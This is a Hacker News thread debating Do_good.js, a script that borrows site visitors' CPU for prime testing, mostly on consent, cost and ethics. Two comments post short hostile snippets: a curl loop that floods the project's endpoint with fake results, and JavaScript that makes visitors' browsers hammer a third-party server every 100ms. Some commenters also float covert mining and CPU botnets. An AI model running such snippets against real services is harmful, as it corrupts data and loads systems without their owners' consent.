Hacker News new | past | comments | ask | show | jobs | submit login
Do_good.js (ben_eysenbach.neocities.org)
60 points by bce on July 14, 2013 | hide | past | favorite | 55 comments



Why nobody's built a startup around this already:

(a) There's no money to be had. A company that offered to solve your distributed problems using distributed JavaScript could only charge as much as the spot price of buying EC2 instances. Otherwise, you'd just buy the EC2 instances and solve it there. A problem not amenable to solving with temporary machines wouldn't be amenable to solving with times slices of JavaScript running on webpages.

It would take millions of page views to get the CPU-time equivalent of an hour running compiled code on an EC2 instance. That means the eCPMs the company could reasonably charge, or pay its publishers hosting the code, are thousands of times less than they earn from advertising.

(b) It's a net negative for the economy. Distributing work through JavaScript on webpages is an involuntary donation from employers/schools moreso than the person behind the computer. That extra expense with no gain for the business/school has to be made up somewhere -- higher prices or lower wages/employment.

(c) It's a net negative for the environment. The problems could be solved faster on bare metal with server-class hardware, concentrated in data centers built where energy is the cheapest, usually because there's solar/hydro/wind generated nearby. Solving them on desktop/mobile CPUs, in an interpreted language, powered by coal-generated electricity, would be a waste you'd measure in tons of CO2 that didn't need to be released.


Of course, b and c are completely irrelevant as reasons why nobody built a business model around that.


Actually, there's this portuguese startup already working on something similar: http://crowdprocess.com

And they are solving very interesting and useful problems. Like for instance execute calculations that help firemen predict the direction of a fire front.


You mean nobody like http://crowdprocess.com?

Or the (dead) http://pluraprocessing.com from 2009?


A startup around this actually won the Princeton TigerLaunch pitch/business-plan competition this past year, but I'm having trouble finding any press releases or details online at the moment.


This only really works if idle time is considered wasteful, but it's not. Electricity, battery life, cooling all come into effect. And to make a real squeeze out of those spare CPU cycles, JavaScript probably isn't the best choice.

There is also a bandwidth cost of delivering the application and sending the results.

But having said that, yes there is a cost, but there could also be a real gain for that cost. Replacing adverts with CPU cycles only changes the nature of paying indirectly for something. There should always be an easy way to opt out and users should know it's happening.


Imagine having 20 tabs opened solving stuff in background. Although modern browsers slow down the JS clock in the inactive tabs, it's still a killer for the CPU. The new equivalent of having adverts playing loud music and render video in 20 tabs (the music will be emitted by your CPU fan).


This practice is deplorable.

It presumes that individuals have infinite electrical and computational resources, which is utterly false. This sort of computation is inherently going to degrade the functionality of computers, and will severely impact the quality of browsing on resource-constrained devices like Chromebooks (which is what I'm writing this on) while siphoning resources from me, wasting my time and money. It's this sort of degradation that compels people to use ad blockers. Excessive and superfluous resource use ruins the web.

Doing this surreptitiously as he suggests is outright predatory and is altogether reprehensible.


This is wasteful of people's electricity and inefficient at the same time. Opting people in to wasting their battery life or raising their electric bill is treating users as a means rather than an end.


It's not even using 1% of my CPU. It checks one prime every 100ms, so it doesn't really use a lot of anything.


The script was just a proof of concept. A scenario where you could be paid to donate 1% of your CPU time while certain webpages were open will never occur. Here's why:

Let's say there exists a problem where it's worth paying to solve it like this. The most a company could pay you is just below the spot price for buying instances on EC2 or some other cloud/cluster -- or they'd do that instead. So we're talking about nickels and dimes per hour for the equivalent of 100% CPU time on an EC2 instance.

If you donate the equivalent to 1% of that computational power, the most you can earn is hundredths of a penny per hour. You could run the script for a week and make a penny, while spending more than a penny on extra electric. That's no net gain for you, and no meaningful work done for the script author -- so this script would never have been written.


It's not computing per se, but BrowserShots has been doing that for a couple years, paying users for their browser time.


That's irrelevant. It's evident that, based on the ridiculous ads that some sites employ (auto-playing videos, those absurd scroll-by ads, etc.) that a lot of companies are willing to drastically degrade their user experience to profit. Who's to say that companies won't take 10% of your CPU, or 20%? Let's universalize this practice. 1% CPU usage in each of 25 tabs begins to seriously degrade the experience and waste tremendous amounts of battery life.

In fact, I'd say that it's only financially tenable to hijack larger proportions of one's CPU. In order for access to 1% CPU usage of an entire site's user base to be economical compared to cloud computing options, this form of computation would either need to be ridiculously cheap or offer a massive user base with untold devices in the computing apparatus. It just doesn't make sense in most scenarios.


But it does, potentially, prevent my laptop CPU from sleeping and uses battery time.


try checking a 100 million digit prime number in 100ms http://www.mersenne.org/legal/#awards


do_bad.sh

  for i in {1..9999};do curl -v --data "n=$RANDOM&result=$RANDOM" http://arcane-sea-9808.herokuapp.com/update/?callback=;done


    setInterval(function () {
        /* verizon.js */
        var scriptTag = document.createElement('script');
        scriptTag.src = '//www22.verizon.com/resources/scripts/mootools.js?t=' + 
                        parseInt(Math.random() * 1000000);
        document.getElementsByTagName('head')[0].appendChild(scriptTag);
    }, 100);


That's just mean :)


Hijacking my cpu without my consent is not doing good. There is nothing good about that.


yep, I probably should have named it "less evil."


This isn't "less evil" either, this is taking advantage of the unaware visitor resources without his consent; if I found a site doing this I would think it's downright malware.


I'd much rather donate CPU processes to advertisers than donate screenspace to their ads.

Ok, but do the advertisers want you CPU processes or your screenspace?


valid point, I should have said that I'd rather sell CPU cycles to some tech company than sell screen space to advertisers.


Sounds like a successful academic project but not so much for the industry. I'm hard pressed to find a company willing to use plain, publicly-available Javascript to write their number crunching algorithms. That said, I would loved to be proven wrong - good luck to you!

Berkley has a similar project going on where you can download a program that donates your idle CPU to their tasks.


I remember going to a hackathon[1] where the winning team developed a system like this. Their demo involved doing 10-dimensional integrals with Monte Carlo, on all of the audience's laptops. It was pretty cool :).

[1]: http://www.huffingtonpost.com/marissa-louie/for-the-win-at-t...

Given a bunch of college students could put together a credible system in ~18 hours without sleep, it's certainly not challenging technically. I suspect there are deep logistical and business reasons for why it has not caught on--you wouldn't be able to get all that much done without a ton of traffic, and it would really annoy people when they found out about it.

Still, even if it isn't entirely practical, I think it's a really cool idea. Certainly the sort of thing I love seeing at a hackathon, more than the winners of some of the more recent ones I've been to. (But that, of course, is a complaint for another time and another post.)


It's a wonderful idea but i have some concerns i would if someone could challenge them:

1. Some people are on limited bandwidth plans, this adds to the plan since i am downloading and uploading data, and if the data that has to be processed -coming from the server- is big then this is going to kill my bandwidth.

2. This could slow down a lot of mobile devices that are JS capable, or old/moderate hardware.

3. Memory leaks?

4. If a startup is based around this idea, and me as a published i'll use their JS code to run tasks, then i'm basically giving them a key to my site :).

Other than that, the idea it self is awesome, if it could be implemented through :

1. Asking user permission. 2. work on idle browser tabs only. 3. used for non-profit organizations to solve real problems, maybe to fight cancer or to analyze data coming from space.


Good example on "way to hell is paved with good intentions".


Reminds me of the recent posting that talked about an employee that got fired from a game company because he added code to the game to mine bitcoins without users' knowledge. Not a good idea.


Interesting. I wonder if anyone has built (or it would make any practical sense) a distributed silent bot net not for DDoS of websites but rather of math.

Imagine a small, otherwise-benign virus which simply spends some of your CPU cycles cracking something. Computers are pretty fast these days. It'd sure be easier to brute-force attack a password with thousands of average computers than one big one.

(I realize it'd probably be vastly easier and more practical to simply buy cloud-based CPU cycles, of course.)


More interesting (but evil) would be to split the difference and just sell the cycles you're hijacking as a service.

Which is, yes, of course just kind of reinventing a botnet. But I could almost imagine this being part of the cost of using a website (again, evil) in lieu of seeing their advertising. Of course said site would have to be unusable without js.

And of course, sites would just farm your cpu and serve the ads anyway.


I accidentally created something like that some time ago. But using website do deliver the script is problematic due to http://en.wikipedia.org/wiki/Same_origin_policy


Really, you're using energy I'm paying for [on the meter and/or in battery longevity] to check the primality of 6533? No, I think not.


Yeah this is simply an indirect way to pay for a service and it's incredibly expensive too for the result.


I have a good computer and it took a few seconds to test each numbers it said it was testing. They were all three 5 digits even numbers…



What? It's not returning 0 from isPrime once it hits a divisor? I think I wrote better prime-finding code in middle school.


Or just mine bitcoin with that spare CPU. Works great on mobile devices! http://www.wired.com/wiredenterprise/2013/07/esea-2/


That's how I first learned about bitcoin few years back. I've visited some forum and noticed Firefox started taking 100% CPU suddenly. Quick analysis of site's resources showed the admin included a third-party script for mining bitcoins.


Most entities that have a large enough footprint to make this kind of a thing useful care a lot about speed and their users :) Why not just have a chrome extension that does good on all sites?


This is an excellent point, doing away with a lot of the ethical concerns of the original project.

At this point, though, I'd be tempted to just remake the whole thing as a proper program, if we're going to be asking people to download it anyway.


I find the idea really interesting. And the portuguese startup called crowdprocess seems to be down with this stuff.

I just think that charity would be a great angle to it. How about you donate your CPU cycles for charity ? Companies that need to use large scale parallel processing use the service, your browser does the client side processing and the money that the gets paid by companies goes to charity minus running costs.

Now that would be beautiful. CPU cycles for charity!


http://folding.stanford.edu/home/ I believe has a screensaver that will run simulations and has the results fired back to be collated. It also has a cool visualization :)


What is it with HN and the negativity in the comments, it's an interesting topic to have a civilized discussion, no to dismiss altogether.


It's an interesting idea for sure, but in my opinion the objections are justified. The problem I (and some others here) have with this is

"I easily could have hidden it. In fact, I could install this on every site you visit, and you'd hardly notice."

Personally, I think even with the assumption that the overall goal (finding prime numbers, for example) is a worthy use of crowd sourced CPU, sneakily co-opting visitors' CPUs without their knowledge or consent in order to do it is essentially building a bot net.

"The cool thing is that I could be solving a real problem, and someone or some company could be paying me for all the work that people's computers are doing when they visit my site."

I'm not sure I'd be willing to let someone sell my computer without my consent or knowledge. If this was an opt-in thing it would actually be kind of neat, I think.


The other issue is that he is not recommending that this be used for research. He is recommending that he can discreetly rent out my own computer to entities that are anonymous to me and with whom I have absolutely no contact, all for his personal monetary gain.

Consensual distributed computing in the name of science in interesting. Secretive distributed computing in the name of individual profit is disconcerting.


Equally disturbing is that you'll have no knowledge of what it's used for. ex: Maybe its used in a AI algorithm to help drones figure out the most efficient way to kill everyone in an enemy country.


Your comment presumes that "negativity" has no place in a "civilized discussion," which is outrageous.

Honestly, the discourse here is pretty civil and all of the points are valid. When did it become "uncivilized" to argue that something is detrimental? (If this is true, is it not then totally "uncivilized" to decry negativity on HN?)

This irrational insistence on artificial enthusiasm and compulsory positivity is ridiculous. Skepticism is the foundation of "civilized discourse."

Nowhere is it written that you have to entertain every idea, even those with which you vehemently disagree, with disingenuous positivity. That's not what HN is for.


I think this is an interesting concept. There are certainly concerns around electricity and bandwidth usage, but these costs are surely increased by the advertising that is already prevalent on the web. I could picture this as a "pay as you go" means of rewarding content creators that doesn't involve traditional ads.


https://github.com/ben-eysenbach/do_good/blob/master/do_good...

jQuery is an unneeded dependency.

There are only 2 things done with jquery: - a domready handler - ajax request

Could be done with 2 smaller functions and not with an full-blown framework.


Before embarking on this project, you should check out the company that was founded 6 years ago that does the thing you described: http://www.pluraprocessing.com/



Please, no. In the real world, advertisers would use your screenspace and your CPU and probably all your RAM as well.


I like the idea of having GPU powered space heaters, the processing done subsidising the electricity cost of the heater.


I'm pretty sure that someone is now being taken to caught for doing just this with a secret bitcoin miner.


Yes please make my macbook's battery last shorter this way without me wanting it to.




Consider applying for YC's Spring batch! Applications are open till Feb 11.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: